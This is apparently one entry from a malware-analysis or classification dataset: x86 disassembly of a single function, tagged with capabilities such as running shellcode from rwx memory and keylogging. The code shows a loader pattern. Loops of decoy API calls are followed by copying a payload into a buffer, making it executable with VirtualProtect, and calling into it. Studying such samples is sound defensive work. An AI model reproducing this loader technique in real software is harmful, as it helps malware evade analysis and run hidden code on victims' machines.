Function at 0x409d40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes
Log keystrokes via polling
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x421004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteTimerQueue]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov edi, 0x3661b338
cmp dword [0x1ef5f7c], 0xc31
jne 0x409d74
push 0
call ebx
call esi
dec edi
jne 0x409d64
mov edi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x409d95
mov eax, dword [0x422d74]
mov dword [0x1ef6304], eax
cmp dword [0x1ef5f7c], 0x3c
jne 0x409da1
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x409d83
cmp dword [0x1ef5f7c], 0x7c
jne 0x409e15
push ebx
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalCompact]
cmp dword [0x1ef5f7c], 0x2d
jne 0x409e03
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
fldz
sub esp, 8
fstp qword [esp]
call fcn.00401040
fstp st(0)
add esp, 8
cmp dword [0x1ef5f7c], 0x110a
jne 0x409e75
mov dword [0x1ef5f70], ebx
mov dword [0x1ef5f74], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push ebx
push ebx
call fcn.0040115d
push ebx
push ebx
call fcn.0040115d
push ebx
push ebx
call fcn.0040115d
push ebx
call fcn.0040100f
add esp, 0x1c
call fcn.00409b00
xor esi, esi
cmp dword [0x1ef5f7c], ebx
jbe 0x409eca
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
lea ebx, [ebx]
mov edx, dword [0x1ef6304]
mov dword [ebp - 8], edx
mov eax, 0xa231
add dword [ebp - 8], eax
cmp dword [0x1ef5f7c], 0x5ab
mov eax, dword [ebp - 8]
mov cl, byte [eax + esi]
mov edx, dword [0x1ef5ca0]
mov byte [edx + esi], cl
jne 0x409ec1
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x1ef5f7c]
jb 0x409e90
call fcn.00409b30
mov ecx, dword [0x1ef5f7c]
mov edx, dword [0x1ef5ca0]
lea eax, [ebp - 0xc]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00409cd0
call fcn.00409b20
mov ebx, dword [ebp - 0x30]
mov edi, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
mov edi, edi
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x409f16
cmp ebx, 0xf5bed7
jne 0x409f1f
inc esi
cmp esi, 0x1ece7a52
jl 0x409f00
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x12e6c3
jne 0x409f3d
call fcn.00409af0
cmp dword [0x1ef5f7c], 0x3dc
mov dword [0x1ef5ca4], 0x8e46a6f0
jne 0x409f6a
xor eax, eax
lea edx, [ebp - 0x10]
push edx
push eax
push eax
push eax
push eax
mov dword [ebp - 8], eax
call edi
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x409f30
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret